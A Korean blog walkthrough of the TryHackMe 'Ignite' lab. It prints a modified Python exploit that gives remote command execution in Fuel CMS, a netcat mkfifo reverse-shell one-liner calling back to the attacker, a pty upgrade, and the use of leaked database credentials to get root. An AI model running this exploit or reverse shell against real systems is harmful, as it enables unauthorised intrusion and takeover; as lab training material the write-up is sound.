TryHackMe

TryHackMe - Ignite🔥

HackHiJack 2021. 1. 16. 12:24
728x90
반응형

오늘은 TryHackme에서 나온 Ignite 룸을 풀어 볼것이다.

먼저 openvpn을 연결하고 deploy를 해보자.

 

그리고 deploy된 ip로 웹으로 접속해보자.

접속하면 이런 화면이 나온다.

 

fuel cms를 검색하니 exploit을 하는 것 같다.

www.exploit-db.com/exploits/47138

이 사이트에 익스플로잇 코드가 있다.

 

그런데 수정 해야 할 부분이 있는 것 같다.

import requests
import urllib

url = "http://deploy한 IP"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	URL = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
	r = requests.get(URL)

	html = "<!DOCTYPE html>"
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]

이 파이썬 exploit코드를 실행하면 cmd: 라고 나올걸이다.

 

이제 여기에 reverse shell cheat sheet pentest monkey로 접속할 것이다.

먼저 다른 터미널에서 nc -lvp <port>를 하고,

rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc <ip addr show tun0으로 나온 ip> <port> >/tmp/f

 

python으로 접속한 터미널에 위의 코드에 ip를 넣고 port는 아까 nc -lvp 에 사용했던 포트를 넣는다.

위처럼 명령어를 넣으면, 다른 터미널에서 밑과 같은 결과가 나온다.

그리고 cheat sheet을 더욱 활성화하기 위해

python -c 'import pty; pty.spawn("/bin/bash")'

코드를 "cmd:" 터미널 말고, nc로 듣고 있는 포트에 넣는다.

이제 파일을 살펴보자.

 

근데 ls을 하고 robots.txt를 확인하니 /fuel 페이지가 있다.

 

웹에서 <deploy한 ip>/fuel로 접속해보니 로그인 페이지가 나왔다.

그럼 이제 파일들 중 로그인 정보가 있는 php를 찾으면 된다.

 

config 파일안에 database가 있을거라고 생각하고 config파일을 찾았다.

그런데 /fuel/application에 config 파일이 있었다.

config파일 안에 database.php가 있었다.

 

cat을 해보니 중간에 id와 pw가 있었다.

id:root, pw:mememe라는 정보를 알아냈다.

이제 su 명령어를 입력하고, mememe를 pw에 넣으면 root로 전환된다.

 

이제 cd /root로 들어가보자.

거기에 flag가 있을 것이다.

여기에는 root.txt가 있는데 user.txt를 찾지 못했다.

 

root말고 다른 사용자안에 있는 것 같다.

cd /home으로 이동하니 www-data사용자가 있다.

 

그 사용자 디렉토리로 이동하니 flag.txt가 있다.

이렇게 fuel CMS취약점을 이용해 exploit하여 플래그를 둘 다 찾았다.

 

 

The end

728x90
반응형